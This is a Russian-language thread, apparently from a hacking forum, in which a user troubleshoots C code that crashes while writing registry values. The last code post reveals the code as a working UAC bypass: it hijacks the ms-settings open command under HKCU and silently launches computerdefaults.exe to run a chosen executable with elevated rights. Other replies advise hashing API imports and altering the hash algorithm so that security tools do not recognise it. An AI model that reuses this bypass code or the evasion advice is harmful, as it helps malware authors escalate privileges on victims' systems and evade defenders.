• XSS.stack #1 – первый литературный журнал от юзеров форума

Не устанавливается значение в реестр C.

n0kkster

HDD-drive
Пользователь
Регистрация
12.04.2021
Сообщения
45
Реакции
12
Имеется код, который должен задавать значение дефолтному ключу по заданному пути в реестре. Проблема заключается в том, что запуская прогу с одного пути, все отрабатывает нормально, но при запуске из например прогдаты или аппдаты значение не ставится. Проблема именно в установке дефолтного значения, значения с именем ставятся без проблем. Софт x32. Самый прикол в том, что прога падает без единой ошибки, пытался отловить дебаггером, ничего не дает, как будто где-то под капотом процесс сам себя убивает. В чем может быть проблема?

C:
wchar_t modulepath[MAX_PATH];
API(KERNEL32, GetModuleFileNameW)(0, modulepath, MAX_PATH);
API(KERNEL32, lstrcatW)(modulepath, L"\0");
HKEY key;
if (API(ADVAPI32, RegCreateKeyW)(HKEY_CURRENT_USER, L"key_path", &key) == ERROR_SUCCESS)
{
    wprintf(L"Opened key successfully\n");
    wprintf(modulepath);
    if (API(ADVAPI32, RegSetKeyValueW)(key, L"", L"", REG_SZ, modulepath, lstrLenW(modulepath) * sizeof(wchar_t)) == ERROR_SUCCESS) //default value
    {
        wprintf(L"Successfully set default value\n");
        if (API(ADVAPI32, RegSetKeyValueW)(key, L"", L"non-default_value", REG_SZ, L"", 0) == ERROR_SUCCESS)
        {
            wprintf(L"Successfully set non-default value\n");
        }
        else
            Exit(L"error setting non-default value");
    }
    else
        Exit(L"error setting default value");

UPD: Выяснил опытным путем, что если писать в реестр значение вида C:\\ProgramData, то все ок, однако стоит лишь записать C:\\ProgramData\\test и приложение начинает крашиться. И такое кстати только с програмдатой...
 
Последнее редактирование:
Имеется код, который должен задавать значение дефолтному ключу по заданному пути в реестре. Проблема заключается в том, что запуская прогу с одного пути, все отрабатывает нормально, но при запуске из например прогдаты или аппдаты значение не ставится. Проблема именно в установке дефолтного значения, значения с именем ставятся без проблем. Софт x32. Самый прикол в том, что прога падает без единой ошибки, пытался отловить дебаггером, ничего не дает, как будто где-то под капотом процесс сам себя убивает. В чем может быть проблема?

C:
wchar_t modulepath[MAX_PATH];
API(KERNEL32, GetModuleFileNameW)(0, modulepath, MAX_PATH);
API(KERNEL32, lstrcatW)(modulepath, L"\0");
HKEY key;
if (API(ADVAPI32, RegCreateKeyW)(HKEY_CURRENT_USER, L"key_path", &key) == ERROR_SUCCESS)
{
    wprintf(L"Opened key successfully\n");
    wprintf(modulepath);
    if (API(ADVAPI32, RegSetKeyValueW)(key, L"", L"", REG_SZ, modulepath, lstrLenW(modulepath) * sizeof(wchar_t)) == ERROR_SUCCESS) //default value
    {
        wprintf(L"Successfully set default value\n");
        if (API(ADVAPI32, RegSetKeyValueW)(key, L"", L"non-default_value", REG_SZ, L"", 0) == ERROR_SUCCESS)
        {
            wprintf(L"Successfully set non-default value\n");
        }
        else
            Exit(L"error setting non-default value");
    }
    else
        Exit(L"error setting default value");

UPD: Выяснил опытным путем, что если писать в реестр значение вида C:\\ProgramData, то все ок, однако стоит лишь записать C:\\ProgramData\\test и приложение начинает крашиться. И такое кстати только с програмдатой...
REG_EXPAND_SZ пробовал?
UPD: что выводит прога в консоль перед крашем?
 
Последнее редактирование:
REG_EXPAND_SZ пробовал?
UPD: что выводит прога в консоль перед крашем?
Пробовал, тоже самое. В консоль выводит Succesfully set default value и Sucessfully set non-default value и просто умирает. В том то и проблема, что она будто бы не крашится, встроенный дебаггер студии ничего не ловит, прога как будто завершается естественным путём
 
Пробовал, тоже самое. В консоль выводит Succesfully set default value и Sucessfully set non-default value и просто умирает. В том то и проблема, что она будто бы не крашится, встроенный дебаггер студии ничего не ловит, прога как будто завершается естественным путём
Отпиши мб в лс, что сделать надо и какие ключи поставить, я напишу код
 
Пожалуйста, обратите внимание, что пользователь заблокирован
В том то и проблема, что она будто бы не крашится, встроенный дебаггер студии ничего не ловит, прога как будто завершается естественным путём
Ну вообще вроде была возможность уронить процесс так, чтобы отладчик не поймал, но я уже не припомню, о чем там было, вроде как-то ESP повреждали по особенному. Рекомендую проверить, что макрос API получает верные адреса функций, возможно, вызывается другая функция с соответственно неверным количеством аргументов, из-за чего рушится стек. Часто проблемы со стеком вызывают эксепшн не сразу после вызова функции, а через несколько вызовов. И да, по поводу вызова функций по хешам, вероятность коллизии хешей всегда не нулевая. Я когда выбираю алгоритм хеширования для импорта по хешу, всегда прогоняю на нем все имена функций всех библиотек, которые я буду вызывать, проверяя алгоритм на коллизии, и вам всем это делать советую. Конечно, в новых системах могут появиться новые экспортные апи, но в целом это должно существенно снизить вероятность возникновения коллизии.
 
Ну вообще вроде была возможность уронить процесс так, чтобы отладчик не поймал, но я уже не припомню, о чем там было, вроде как-то ESP повреждали по особенному. Рекомендую проверить, что макрос API получает верные адреса функций, возможно, вызывается другая функция с соответственно неверным количеством аргументов, из-за чего рушится стек. Часто проблемы со стеком вызывают эксепшн не сразу после вызова функции, а через несколько вызовов. И да, по поводу вызова функций по хешам, вероятность коллизии хешей всегда не нулевая. Я когда выбираю алгоритм хеширования для импорта по хешу, всегда прогоняю на нем все имена функций всех библиотек, которые я буду вызывать, проверяя алгоритм на коллизии, и вам всем это делать советую. Конечно, в новых системах могут появиться новые экспортные апи, но в целом это должно существенно снизить вероятность возникновения коллизии.
Ну это если алго самописный, надо проверять, а так есть много хороших и очень легковесных алгоритмов, которые дают минимум коллизий, просто немного видоизменяешь\морфишь алгоритм и вот он уже не распознается как часть какой-то стандартной криптографической библиотеки
 
Ну вообще вроде была возможность уронить процесс так, чтобы отладчик не поймал, но я уже не припомню, о чем там было, вроде как-то ESP повреждали по особенному. Рекомендую проверить, что макрос API получает верные адреса функций, возможно, вызывается другая функция с соответственно неверным количеством аргументов, из-за чего рушится стек. Часто проблемы со стеком вызывают эксепшн не сразу после вызова функции, а через несколько вызовов. И да, по поводу вызова функций по хешам, вероятность коллизии хешей всегда не нулевая. Я когда выбираю алгоритм хеширования для импорта по хешу, всегда прогоняю на нем все имена функций всех библиотек, которые я буду вызывать, проверяя алгоритм на коллизии, и вам всем это делать советую. Конечно, в новых системах могут появиться новые экспортные апи, но в целом это должно существенно снизить вероятность возникновения коллизии.
Функции грузятся не по хешам, а по строкам через GetProcAddress + LoadLibrary. Чуть позже планирую захешировать все апишки, но пока надо с этим разобраться. По поводу коллизии кстати, был момент, что на разных машинах у одной и той же апишки был разный хеш. Это из-за коллизии (не совсем понимаю что это значит в данном контексте) или из-за чего-то ещё? Можешь подсказать?
 
был момент, что на разных машинах у одной и той же апишки был разный хеш
такого быть не может, ты где-то косячил значит, имена апи функций не меняются, вообще никак, поэтому хеш от одной и той же строки не может быть разным
 
такого быть не может, ты где-то косячил значит, имена апи функций не меняются, вообще никак, поэтому хеш от одной и той же строки не может быть разным
я понимаю, но один и тот же софт запускался на двух машинах, одна с домашней виндой, другая с серверной. софт шел по таблице экспорта и хешировал название каждой функи, хеши у некоторых не совпадали
UPD сейчас перепроверил, на всех моих машинах и дедиках хеши совпали, странно, но да ладно. все равно хотелось бы узнать про колизии
 
Последнее редактирование:
Ну вообще вроде была возможность уронить процесс так, чтобы отладчик не поймал, но я уже не припомню, о чем там было, вроде как-то ESP повреждали по особенному. Рекомендую проверить, что макрос API получает верные адреса функций, возможно, вызывается другая функция с соответственно неверным количеством аргументов, из-за чего рушится стек. Часто проблемы со стеком вызывают эксепшн не сразу после вызова функции, а через несколько вызовов. И да, по поводу вызова функций по хешам, вероятность коллизии хешей всегда не нулевая. Я когда выбираю алгоритм хеширования для импорта по хешу, всегда прогоняю на нем все имена функций всех библиотек, которые я буду вызывать, проверяя алгоритм на коллизии, и вам всем это делать советую. Конечно, в новых системах могут появиться новые экспортные апи, но в целом это должно существенно снизить вероятность возникновения коллизии.
попробовал без апи, тоже самое. да и вряд ли проблема в нем, ведь если я ставлю другое значение ключа или присваиваю не дефолтному ключу - все ок
 
Пожалуйста, обратите внимание, что пользователь заблокирован
все равно хотелось бы узнать про колизии
Коллизия - это когда у тебя две разные строки дают один и тот же хеш.

попробовал без апи, тоже самое. да и вряд ли проблема в нем, ведь если я ставлю другое значение ключа или присваиваю не дефолтному ключу - все ок
Полный код, который приводит к падению, приведи.
 
REG_EXPAND_SZ пробовал?
UPD: что выводит прога в консоль перед крашем?
кстати, заметил, что если поставить REG_EXPAND_SZ, то значение записывается, но прога все равно падает. и ставится оно, только если ветка уже была создана, если ветки нет, то при первом запуске прога создаст ветку с обоими ключами REG_SZ, а при втором запуске запишет в дефолтный параметр строку с REG_EXPAND_SZ и все равно упадет
UPD: такое не только с REG_EXPAND_SZ, с REG_SZ тоже самое
 
Последнее редактирование:
Коллизия - это когда у тебя две разные строки дают один и тот же хеш.


Полный код, который приводит к падению, приведи.
C:
void bypassUAC()
{
    wchar_t* modulepath = L"C:\\ProgramData\\test.exe";
    //API(KERNEL32, GetModuleFileNameW)(0, modulepath, MAX_PATH);
    //API(KERNEL32, lstrcatW)(modulepath, L"\0");
    HKEY key;
    if (API(ADVAPI32, RegCreateKeyW)(HKEY_CURRENT_USER, L"Software\\Classes\\ms-settings\\Shell\\Open\\command", &key) == ERROR_SUCCESS)
    {
        wprintf(L"Opened key successfully\n");
        wprintf(modulepath);
        wprintf(L"\n");
        API(KERNEL32, Sleep)(3000);
        if (API(ADVAPI32, RegSetKeyValueW)(key, L"", L"", REG_SZ, modulepath, lstrLenW(modulepath) * sizeof(wchar_t)) == ERROR_SUCCESS)
        {
            wprintf(L"Successfully set default value\n");
            if (API(ADVAPI32, RegSetKeyValueW)(key, L"", L"DelegateExecute", REG_SZ, L"", 0) == ERROR_SUCCESS)
            {
                wprintf(L"Successfully set delegateexecute value\n");
            }
            else
                Exit(L"error setting delegateexecute value");
        }
        else
            Exit(L"error setting default value");


        if (API(ADVAPI32, RegCloseKey)(key) != ERROR_SUCCESS)
            Exit(L"error closing reg key\n");
        API(KERNEL32, Sleep)(10000); 
        PVOID OldValue = NULL;
        API(KERNEL32, Wow64DisableWow64FsRedirection)(&OldValue);
        HINSTANCE hShell = API(SHELL32, ShellExecuteW)(0, L"open", L"C:\\Windows\\System32\\computerdefaults.exe", 0, 0, SW_HIDE);
        if ((int)hShell > 32)
        {
            API(KERNEL32, Wow64RevertWow64FsRedirection)(&OldValue);
            wprintf(L"Created process sucessfully through shellexecute\n");
            API(KERNEL32, CloseHandle)(hShell);
            API(KERNEL32, ExitProcess)(0);
        }
        else
            Exit(L"error while creating process");
    }
    else
        Exit(L"error opening key");
}
 
Пожалуйста, обратите внимание, что пользователь заблокирован
прога падает без единой ошибки, пытался отловить дебаггером, ничего не дает
Как это так? Пошагово трейсишь и на каком этапе что падает?

Скинь прогу (ехе) , посмотрю.

Вопрос - если убрать макрос API, т.е. вызывать апи функции как положено, будет ли работать?
 
Как это так? Пошагово трейсишь и на каком этапе что падает?

Скинь прогу (ехе) , посмотрю.

Вопрос - если убрать макрос API, т.е. вызывать апи функции как положено, будет ли работать?
да я уже понял, что не в проге у меня проблема, а в реестре. если я строку из проги вручную поставлю в реестр, он просто крашнется. поэтому из-за краша реестра моя прога завершается без ошибок, в ней никаких ошибок не вылетает. думаю что делать с реестром. без макроса апи тоже самое
 
Пожалуйста, обратите внимание, что пользователь заблокирован
если я строку из проги вручную поставлю в реестр, он просто крашнется.
интересно. что за строка такая, что за винда? Напиши, проверю у себя.
 
интересно. что за строка такая, что за винда? Напиши, проверю у себя.
строка - дефолтный путь, в моем случае к файлу в програмдате C:\ProgramData\test.exe, винда 10 19043.1586
 
Пожалуйста, обратите внимание, что пользователь заблокирован
винда 10 19043.1586
У меня все работает, через regedit вручную вставил, ничего не падает..
Потому и говорю, сделай минимальный билд, который роняет у тебя отладчик / реестр/ винду, и скинь сюда. Потому как чисто по коду никаких ошибок нет.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх